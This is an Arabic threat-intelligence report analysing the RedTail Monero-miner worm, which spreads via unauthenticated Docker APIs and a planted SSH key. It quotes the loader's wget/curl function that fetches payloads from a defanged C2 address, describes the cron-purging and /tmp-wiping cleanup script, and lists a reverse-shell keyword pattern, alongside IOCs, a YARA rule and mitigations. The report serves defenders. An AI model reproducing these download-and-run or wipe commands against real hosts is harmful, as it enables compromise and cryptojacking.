هذه الصفحة ترجمة. النسخة الإنجليزية هي النص المعتمد. اقرأه بالإنجليزية

malware · cryptomining · redtail · docker · linux · honeypot · worm

داخل حملة RedTail: الانتشار الذاتي عبر واجهات Docker API المكشوفة

رصدت مصائد Kinryū Labs مُعدِّن العملات RedTail وهو ينتشر عبر واجهات Docker Engine API غير الخاضعة للمصادقة وعبر مفاتيح SSH مزروعة. يوثّق هذا التحليل حالة راهنة مُلتقطة بالكامل، بما فيها المُحمِّل وسكربت إزالة المنافسين والمُعدِّن والمؤشرات الحية.

بقلم Davis Zheng·

TLP:CLEAR. مُصرَّح بالنشر العام. التُقطت المادة عبر شبكة مصائد الاستشعار التابعة لـ Kinryū Labs. المؤشرات الواردة أدناه مُبطَّلة المفعول.

الملخص التنفيذي

  • 2375واجهة Docker API مكشوفة، وهي مدخل الاختراق
  • 4معماريات معالجات مستهدفة
  • ~21sزمن اختراق المهاجم كاملًا
  • قابل للانتشار كدودةعميل SSH مدمج داخل المُعدِّن

بين مطلع يونيو 2026 ومنتصفه رصدت شبكة مصائدنا دودة تنتشر عبر واجهات Docker Engine API المكشوفة على الإنترنت على المنفذ TCP/2375، وتُسقِط RedTail، وهو مُعدِّن Monero مبني على XMRig وموجود منذ أواخر 2023. يسرد المهاجم الحاويات العاملة عبر واجهة Docker API المفتوحة، ثم ينفذ أوامر داخل كل حاوية، ويزرع مفتاح SSH خاصًا لتحقيق الاستمرارية والحركة الجانبية، ثم يسحب مُحمِّلًا متعدد المعماريات. يقوم المُحمِّل بتثبيت مُعدِّن يحمل معه عميل SSH خاصًا به للانتشار، ومُتنصِّت libpcap للعثور على أهداف جديدة.

الحمولة هي RedTail بلا لبس. يُعرف RedTail أساسًا بوصوله عبر استغلال تطبيقات الويب (PAN-OS وIvanti وLog4Shell وPHP-CGI وTP-Link)، كما سبق التقرير عن استخدامه لواجهات Docker API المكشوفة. يضيف هذا التحليل حالة راهنة ملتقطة بالكامل لهذا الأسلوب في التسليم عبر Docker API: خادم التحكم والمؤشرات الحية، وزرع مفتاح SSH الذي يتيح للمضيف تكرار نفسه، وسكربت إزالة المنافسين الذي أشارت إليه تحليلات سابقة دون أن تستعيده.

يحمل المُعدِّن إعدادات تشغيل مشفّرة ولا يتضمن محفظة مدمجة، لذا لا يمكننا استخراج عنوان Monero من العينة. يتطلب استخراجه تفجيرًا حيًا مع التقاط لحركة الشبكة.

أبرز النتائج
  • الحمولة هي RedTail (ثقة عالية). فسلسلة libredtail evbuffer_tls، وأثر .redtail، والقيمة الاحتياطية redtail داخل المُحمِّل، وبنية الإعدادات المشفّرة بلا محفظة، كلها تتطابق مع إصدارات العائلة بعد 2024.
  • الحملة قابلة للانتشار كدودة (ثقة عالية). فأدوات Docker API، والمفتاح المزروع، وعميل SSH المدمج في المُعدِّن، هي كل ما يحتاجه مضيف حديث الإصابة كي يبحث بنفسه عن الضحية التالية.
  • دافع المشغّل مالي (ثقة متوسطة). فسرقة بيانات الاعتماد والتنصّت يبدوان في خدمة الانتشار لا في خدمة هدف منفصل لسرقة البيانات.
  • سبق التقرير عن استخدام RedTail لمسار Docker API، وهو ما زال فعّالًا. فمقبس واحد مكشوف على TCP/2375 يمنح المهاجم تنفيذ أوامر بصلاحيات الجذر داخل كل حاوية على المضيف.

سلسلة الهجوم

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

المرحلة الأولى: الوصول الأولي عبر واجهة Docker API

يستهدف المهاجم نسخ Docker Engine التي تكشف واجهة REST غير الخاضعة للمصادقة على المنفذ TCP/2375. استغرق تسلسل المهاجم كاملًا نحو 21 ثانية:

  1. GET /version وGET /containers/json لتحديد بصمة المحرك وسرد الحاويات.
  2. POST /containers/{id}/exec ثم POST /exec/{id}/start على كل حاوية عاملة.
  3. حمولة صدفة داخل الحاوية تكتب مفتاح SSH الخاص بالمهاجم وتجلب المُحمِّل.

هذه الخطوة الأخيرة هي ما يحوّل الأمر من مُعدِّن منفرد إلى دودة. فالمضيف الذي يُصاب ويصادف أن يكشف واجهة Docker API الخاصة به سيشغّل الروتين نفسه للسرد والتنفيذ على مجموعة الضحايا التالية.

مفتاح SSH المزروع (الاستمرارية والحركة الجانبية)

السمةالقيمة
النوعمفتاح OpenSSH ed25519 خاص
التعليقdlr@sftp
بصمة SHA256 للمفتاح العامSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
مصدر السحب (قناة SCP)dlr@217.60.195[.]113

لن ننشر المفتاح الخاص. استخدم البصمة أعلاه للبحث عنه: افحص authorized_keys و~/.ssh عبر بنيتك بأكملها.

المرحلة الثانية: المُحمِّل /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 النوع: سكربت صدفة POSIX

مُحمِّل صغير ومحمول، وحذر كذلك.

اسم ملف مخفي عشوائي. تُركّب الدالة get_random_string() اسمًا أبجديًا رقميًا بطول 4 إلى 35 حرفًا، مجرِّبة /dev/urandom ثم openssl ثم $RANDOM، وترتد إلى السلسلة الحرفية redtail إذا فشلت جميعها. هذا الارتداد دلالة مفيدة على العائلة. يهبط المُعدِّن باسم .<random> مع نقطة بادئة لإبقائه خارج نتائج ls العادية. تحتفظ VirusTotal بهذه العينة تحت أحد تلك الأسماء، وهو .mn6VTucEsFZY1PdSC2QAq.

مساعد التنزيل. تعطّل الدالة dlr() التحقق من TLS، لأن خادم التحكم موقّع ذاتيًا، وترتد من wget إلى curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

تجهيز يراعي noexec. يقرأ المُحمِّل ملف /proc/mounts، ويستبعد كل نقطة وصل عليها noexec، ثم ينفذ find / -user $(whoami) -perm -u=rwx للعثور على موضع يمكنه الكتابة فيه والتنفيذ منه معًا. ويختبر الكتابة في كل مرشح بـ dd أو truncate بحجم 2 ميغابايت قبل استخدامه، وهو جهد أكبر مما تبذله معظم المُحمِّلات: فالأسلوب المعتاد هو الكتابة في /tmp والأمل في أن ينجح الأمر.

تنظيف المنافسين. يجلب السكربت clean ويشغّله (dlr clean; chmod +x clean; sh clean; rm -rf clean) ثم يحذفه. وقد التقطنا ذلك السكربت أيضًا ونحلّله أدناه. يستهدف آليات استمرارية المنافسين ومواضع تجهيزهم، ويترك العمليات العاملة وشأنها.

الترتيب بعده. يحذف .redtail وملف .<random> السابق قبل تثبيت الملف الجديد.

اختيار المعمارية. يختار مفتاح تبديل قائم على uname -mp النسخة المناسبة:

مطابقة المعماريةما يُنزَّل
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
غير معروفةيجرب الأربعة جميعًا ويشغّل كلًا منها

التشغيل. ./.<random> $1، مع تمرير $1 الأصلي للمُحمِّل، وهو ما يعامله RedTail كوسم للحملة أو لمسار الوصول.

سكربت إزالة المنافسين clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 النوع: سكربت Bash (795 بايت)

التقطنا clean في إصابة لاحقة على المصائد. وظيفته كاملة هي إزالة البرمجيات الخبيثة الأخرى من الجهاز حتى ينفرد به RedTail:

  • تنظيف cron. لكل جدول cron خاص بمستخدم (/var/spool/cron/crontabs/*)، وجدول cron النظامي (/etc/crontab، /etc/crontabs)، ومجلدات الإضافات (/etc/cron.{hourly,daily,weekly,monthly,d})، وملف /etc/anacrontab، يزيل السكربت الخاصية غير القابلة للتغيير بـ chattr -ia (تضبطها البرمجيات الخبيثة المنافسة لحماية أسطر cron الخاصة بها) ثم يحذف أي سطر يطابق نمط إعادة الإصابة:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    يقتلع ذلك حاضنات التنزيل والأصداف العكسية الخاصة بالمجموعات الأخرى مع ترك مدخلات cron المشروعة سليمة.

  • القضاء على منافس بعينه. يعطّل السكربت خدمة systemd المسماة c3pool_miner ويوقفها، في ضربة مباشرة لمُعدِّن c3pool.

  • مسح مواضع التجهيز. يفرّغ /tmp و/var/tmp و/dev/shm بـ rm -rf، مزيلًا حمولات المنافسين والمساحة المؤقتة التي يتشاركونها.

ترك العمليات العاملة مقايضة. فالقتل الجماعي يحرر المعالج فورًا لكنه بالضبط نوع الحدث الذي ينبّه عنه مضيف خاضع للمراقبة، في حين أن اقتلاع أسطر cron وتفريغ مجلدات التجهيز يحذف حاضنة إعادة الإصابة لدى المنافس، فيصمد الطرد عبر إعادة التشغيل التي كانت ستبطله لولا ذلك.

المرحلة الثالثة: مُعدِّن RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b الحجم: 1,880,264 بايت (1.79 ميغابايت) الصيغة: ELF 64-bit LSB EXEC (مرتبط استاتيكيًا، non-PIE)، x86-64، نقطة الدخول 0xaa9e18 أداة الحزم: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 خبيث، تقييم المجتمع −60، أول ظهور نحو 2026-06-05 وسوم التهديد: trojan.usblem26/abminer؛ العائلات usblem26 / abminer / gen3

الحزم ومقاومة التحليل

  • UPX 5.02 مع بقاء الترويسة سليمة. يفك upx -d الحزم بنظافة إلى ملف ELF مرتبط استاتيكيًا بحجم نحو 5 ميغابايت.
  • تنفيذ بلا ملفات. تُظهر رؤى الشيفرة في VirusTotal استخدامه لـ memfd_create (نداء النظام 0x13f) لتشغيل الحمولة مباشرة من واصف ملف في ذاكرة مجهولة، مع إعادة تنفيذ عبر /proc/self/exe وتجهيز في /dev/shm. لا شيء يلمس القرص، فلا تُتاح لمكافحات الفيروسات القائمة على القرص أي فرصة للنظر.
  • تزييف اسم العملية (sets-process-name) كي يندمج مع العمليات الطبيعية.
  • التهرب من المنقّحات (detect-debug-environment). تصف التحليلات المنشورة عن RedTail تنقيحًا ذاتيًا عبر ptrace وقيام الملف الثنائي بقتل GDB فعليًا.
  • ملاحظة بشأن مكافح الفيروسات على المضيف. يصنّف Microsoft Defender ملف ELF المحزوم على أنه Trojan:Linux/Multiverze!rfn ويمنع قراءته من القرص، لذا يجب أن يجري الفرز الاستاتيكي في جهاز معزول أو في الذاكرة.

المكوّنات المؤكدة (من سلاسل .rodata بعد فك الحزم)

نواة التعدين XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail، حزمة الشبكة المميِّزة للعائلة

libredtail evbuffer_tls
Connection  keepalive  User-Agent

نسخة مخصصة من libevent مع عميل HTTP فوق TLS. سلسلة libredtail evbuffer_tls هي ما يفصل RedTail عن نسخة XMRig القياسية.

عميل SSH مدمج (الحركة الجانبية وسرقة بيانات الاعتماد)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

يحمل المُعدِّن عميل SSH كاملًا. وهو المحرك وراء زرع مفتاح dlr@sftp ووراء الانتشار. يتولى الملف الثنائي للمُعدِّن سرقة بيانات الاعتماد والانتشار عبر SSH بنفسه. لا شيء من ذلك موجود في المُسقِط.

libpcap مدمجة (التنصّت على الشبكة)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

التقاط للحزم على المضيف نفسه، وهو ما يتسق مع الاكتشاف المحلي للمضيفين وبيانات الاعتماد.

جداول الترميز. تظهر أبجديتا Base64 القياسية والآمنة لعناوين URL معًا (...+/ و...-_)، ويستخدمهما روتين فك ترميز الإعدادات.

الإعدادات وفجوة الإسناد

بحثنا بعمق في الملف الثنائي بعد فك الحزم عن عناوين IP وروابط وسلاسل stratum وpool وأنماط عناوين Monero. المجمّعات الوحيدة الموجودة فيه هي مجمّعات التبرع للمطورين المدمجة في XMRig (donate.ssl.xmrig.com وdonate.v2.xmrig.com)، وهي موجودة في كل نسخة من XMRig ولا يسيطر عليها المشغّل. لا يوجد أي مجمّع أو وسيط أو محفظة تابعة للمهاجم بصيغة نصية واضحة.

هذا مقصود، ويتطابق مع المسار الذي سلكه RedTail منذ 2024. فإعدادات التعدين مشفّرة ولا تُفك إلا في الذاكرة وقت التشغيل، والنسخ الحديثة لا تحمل أي محفظة على الإطلاق، ما يشير إلى مجمّع خاص أو وسيط مجمّع بدلًا منها. وعليه:

  • لا يمكننا استخراج محفظة Monero من هذه العينة.
  • لا يظهر وسيط المجمّع إلا عبر تفجير حي مع مصرف شبكي (انظر المنهجية).

الإسناد

هذا هو RedTail، المعروف أيضًا بمُعدِّن .redtail، وهو مُعدِّن Monero مشتق من XMRig كُتب عنه أول مرة نحو أواخر 2023 ومطلع 2024. وما يتطابق معه:

  • سلسلة libredtail evbuffer_tls الفريدة له.
  • أثر .redtail والقيمة الاحتياطية redtail في المُحمِّل.
  • بنية الإعدادات المشفّرة بلا محفظة، والمُحمِّل متعدد المعماريات، وسكربت المنافسين clean، وسرقة بيانات اعتماد SSH، وكلها سمات معروفة لـ RedTail.

وللمقارنة، فإن مسارات التسليم المسجّلة سلفًا لهذه العائلة هي CVE-2024-3400 (PAN-OS)، وCVE-2023-46805 وCVE-2024-21887 (Ivanti)، وCVE-2021-44228 (Log4Shell)، وCVE-2024-4577 (PHP-CGI)، وCVE-2023-1389 (TP-Link). كما تسم VirusTotal هذه العينة بـ CVE-2021-41773 (اجتياز المسارات في Apache 2.4.49/2.4.50 وصولًا إلى تنفيذ أوامر عن بُعد) وCVE-2015-2808 (RC4، “Bar Mitzvah”).

سبق التقرير عن استخدام RedTail لواجهات Docker API المكشوفة، فالمسار نفسه قديم. وما كان ضعيفًا في تلك التقارير السابقة هو وسط السلسلة، وهو موضع هذا الالتقاط بالضبط: سكربت clean مستعادًا لا مستنتجًا، وخادم التحكم وبصمات الحمولة حيّة وقت الجمع، ومفتاح dlr@sftp المزروع الذي يغلق الدائرة عائدًا إلى المرحلة الأولى.

التوقعات

تغيّر مجموعات التعدين الخبيث أسلوب اختراقها أكثر بكثير مما تغيّر حمولتها، ويسهّل المُحمِّل المعياري لـ RedTail استبدال مدخل بآخر. وواجهة Docker API المفتوحة استبدال زهيد الكلفة. فلا استغلال يحتاج صيانة ولا دورة ترقيع للسباق معها، والوصول الذي تمنحه هو صلاحيات الجذر داخل كل حاوية على الجهاز، ومعين المنافذ 2375 المكشوفة على الإنترنت لم ينضب. وقد سبق لـ RedTail أن كان هنا.

نرجّح أن يُبقي المشغّل على مسار Docker API إلى جانب استغلالات الويب بدلًا من استبدال أحدهما بالآخر، وهو ما يمنحه ببساطة مضيفين أكثر في متناوله. إن كنت تشغّل حاويات، فعامل واجهة Docker API المكشوفة كما لو كانت قائمة على الإنترنت العام، لأنها كذلك فعليًا.

مؤشرات الاختراق

الشبكة

المؤشرالسياق
14.46.136[.]77خادم التحكم / مضيف الحمولة (HTTPS، موقّع ذاتيًا). يقدّم /sh و/clean و/x86_64 و/i686 و/aarch64 و/arm7. يرشّح حركة الخروج السحابية حسب رقم النظام المستقل.
hxxps://14.46.136[.]77/shرابط مُحمِّل المرحلة الثانية
hxxps://14.46.136[.]77/cleanسكربت إزالة المنافسين (تطهير cron ومواضع التجهيز)
217.60.195[.]113مصدر المفتاح / الحمولة عبر SCP (dlr@217.60.195[.]113)

الملفات (SHA256 / MD5)

الملفSHA256MD5
sh (المُحمِّل)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (تطهير المنافسين)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (المُعدِّن)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

آثار على المضيف

المؤشرالسياق
.redtailأثر المُعدِّن / علامة إصابة سابقة
.<random alnum> مثل .mn6VTucEsFZY1PdSC2QAqاسم ملف المُعدِّن المخفي (نقطة بادئة + عشوائي)
تعليق مفتاح SSH ‏dlr@sftpالمفتاح المزروع
بصمة المفتاح العام SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgبصمة المفتاح المزروع؛ ابحث عنها في authorized_keys
ملفات مُجهَّزة في /dev/shm أو /var/tmp أو /tmp أو أي مجلد rwx قابل للكتابة من المستخدممواضع التجهيز

السلوك

  • memfd_create (نداء النظام 0x13f) ينفّذ ملف ELF من واصف ملف مجهول.
  • عملية تقرأ /proc/mounts ثم تشغّل find / -perm -u=rwx (تجهيز يراعي noexec).
  • تزييف اسم العملية؛ تهرب من المنقّحات قائم على ptrace.
  • اتصالات خارجة بـ stratum+tcp:// / stratum+ssl:// نحو مضيف غير قياسي.
  • systemctl disable c3pool_miner وsystemctl stop c3pool_miner (طرد المنافس).
  • chattr -ia على مسارات crontab يتبعها مباشرة حذف جماعي لأسطر wget / curl / الأصداف العكسية من cron.
  • rm -rf على /tmp/* و/var/tmp/* و/dev/shm/* (مسح مواضع تجهيز المنافسين).

الكشف

الكشف على المضيف (منطق العمليات / EDR)

نبِّه عند وجود عملية تقوم، بالتسلسل، بما يلي:

  1. تقرأ /proc/mounts، ثم تشغّل find / ... -perm -u=rwx ...، و
  2. تكتب ملفًا باسم عشوائي يبدأ بنقطة في مجلد قابل للكتابة من الجميع، و
  3. تستدعي memfd_create يتبعه تنفيذ من واصف الملف الناتج.

كل واحدة منها بمفردها إشارة ضعيفة. أما الثلاث مجتمعة فإشارة قوية على هذا المُحمِّل.

قاعدة YARA مقترحة (الملف الثنائي بعد فك الحزم)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

تطابق هذه القاعدة الملف الثنائي بعد فك حزم UPX. أما العينة المحزومة فارتكز فيها على توقيع UPX وحجم الملف (نحو 1.79 ميغابايت) وبصمات VirusTotal أعلاه.

الكشف على الشبكة

  • احجب ونبِّه على حركة الخروج نحو 14.46.136[.]77 و217.60.195[.]113.
  • نبِّه على stratum+tcp / stratum+ssl نحو أي وجهة غير مدرجة في القائمة المسموحة.
  • نبِّه على طلبات GET عبر HTTP(S) لمسارات من حرف واحد أو مسمّاة باسم معمارية (/sh، /x86_64، /aarch64، /arm7).

إجراءات التخفيف

  1. لا تكشف واجهة Docker API (2375/2376) لشبكات غير موثوقة. اربطها بالمضيف المحلي أو بمقبس محمي، واشترط مصادقة TLS بشهادة عميل. هذا الضابط وحده يكسر خطوة الوصول الأولي من جذرها.
  2. دقّق في ~/.ssh/authorized_keys عبر بنيتك بأكملها بحثًا عن مفتاح dlr@sftp وبصمته.
  3. رشّح حركة الخروج وراقبها بحثًا عن حركة stratum وعناوين خوادم التحكم أعلاه.
  4. حمّل /tmp و/var/tmp و/dev/shm بخيار noexec حيثما أمكن. يرفع ذلك الكلفة، رغم أن هذا المُحمِّل يراعي noexec وسيبحث عن مجلد آخر قابل للكتابة والتنفيذ.
  5. حصّن الحاويات: أسقط الصلاحيات التي لا تحتاجها، واستخدم أنظمة ملفات جذر للقراءة فقط، وشغّل بأقل امتياز ممكن حتى لا يمنح exec إلى الداخل بيئة تنفيذ صالحة للمهاجم.

الربط بإطار MITRE ATT&CK

التكتيكالتقنية
الوصول الأوليT1190 Exploit Public-Facing Application (Docker API)
التنفيذT1609 Container Administration Command؛ T1059.004 Unix Shell
الاستمراريةT1098.004 SSH Authorized Keys
التهرب من الدفاعاتT1027.002 Software Packing (UPX)؛ T1620 Reflective / Memory Code Loading (memfd_create)؛ T1564.001 Hidden Files؛ T1036.004 Masquerade Task or Process Name؛ T1622 Debugger Evasion؛ T1070.004 File Deletion
الوصول إلى بيانات الاعتمادT1552.004 Private Keys؛ T1040 Network Sniffing
الاستكشافT1046 Network Service Scanning؛ T1082 System Information Discovery؛ T1057 Process Discovery؛ T1018 Remote System Discovery
الحركة الجانبيةT1021.004 Remote Services: SSH؛ T1570 Lateral Tool Transfer
القيادة والتحكمT1071.001 Web Protocols؛ T1573 Encrypted Channel؛ T1105 Ingress Tool Transfer
التأثيرT1496 Resource Hijacking (تعدين العملات)

المنهجية وملاحظات المحلل

  • سحبنا المرحلتين الثانية والثالثة من خادم التحكم الحي عبر HTTPS. ينتهي وقت الاتصال بـ 14.46.136[.]77 من نطاقات عناوين مزودي السحابة الكبار بينما يخدم النطاقات المنزلية، وهو ترشيح حسب رقم النظام المستقل أو حسب الموقع الجغرافي يعطّل صناديق الرمل السحابية الآلية.
  • يثير ملف ELF المحزوم إنذار Microsoft Defender (Trojan:Linux/Multiverze!rfn) ولا يمكن حتى قراءته من القرص على مضيف Windows محمي، لذا جرى الفرز الأول في الذاكرة، بفك الأرشيف داخل عملية Python دون كتابة ملف ELF الخام إلى القرص إطلاقًا.
  • جرى فك الحزم بـ upx -d داخل بيئة FLARE-VM معزولة. وحلّلنا الملف الثنائي بعد فك الحزم تحليلًا استاتيكيًا، عبر السلاسل والبنية، دون تشغيله.
  • لم نشغّل المُعدِّن، لذا لا يتضمن هذا التقرير وسيط المجمّع وإعدادات Monero التي تُفك تشفيرها وقت التشغيل.
  • استعدنا المفتاح الخاص للمهاجم من الالتقاط ولن ننشره. لا تتضمن المؤشرات سوى بصمة المفتاح العام (أعلاه)، وهي ما يحتاجه المدافعون للبحث عن مفتاح dlr@sftp المزروع في authorized_keys.

المتابعة الموصى بها (للحصول على مؤشر وسيط المجمّع)

للحصول على وسيط المجمّع، فجّر الملف الثنائي بعد فك الحزم على جهاز Linux معزول (REMnux يفي بالغرض) مع:

  • مصرف شبكي (INetSim، أو fakedns مع مستقبِل TCP شامل) لاستدراج الاتصال،
  • وtcpdump -i any -w redtail.pcap لالتقاط طلب CONNECT وتسجيل الدخول في stratum،
  • وstrace -f لانتزاع الإعدادات بصيغتها الواضحة التي يفك المُعدِّن تشفيرها قبيل أول connect()، وهي غالبًا قابلة للقراءة حتى حين يحجبها TLS على السلك.

هذان المضيف والمنفذ هما آخر مؤشر لا يزال معلقًا في هذه الحملة.

العينات

العينات (المُحمِّل وسكربت clean والمُعدِّن المحزوم) متاحة للباحثين والمدافعين الآخرين عند الطلب. راسلنا على contact@kinryu.sh مع سطر موجز عن هويتك والغرض من طلبها.

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). داخل حملة RedTail: الانتشار الذاتي عبر واجهات Docker API المكشوفة. https://kinryu.sh/ar/reports/redtail-cryptominer-exposed-docker-api/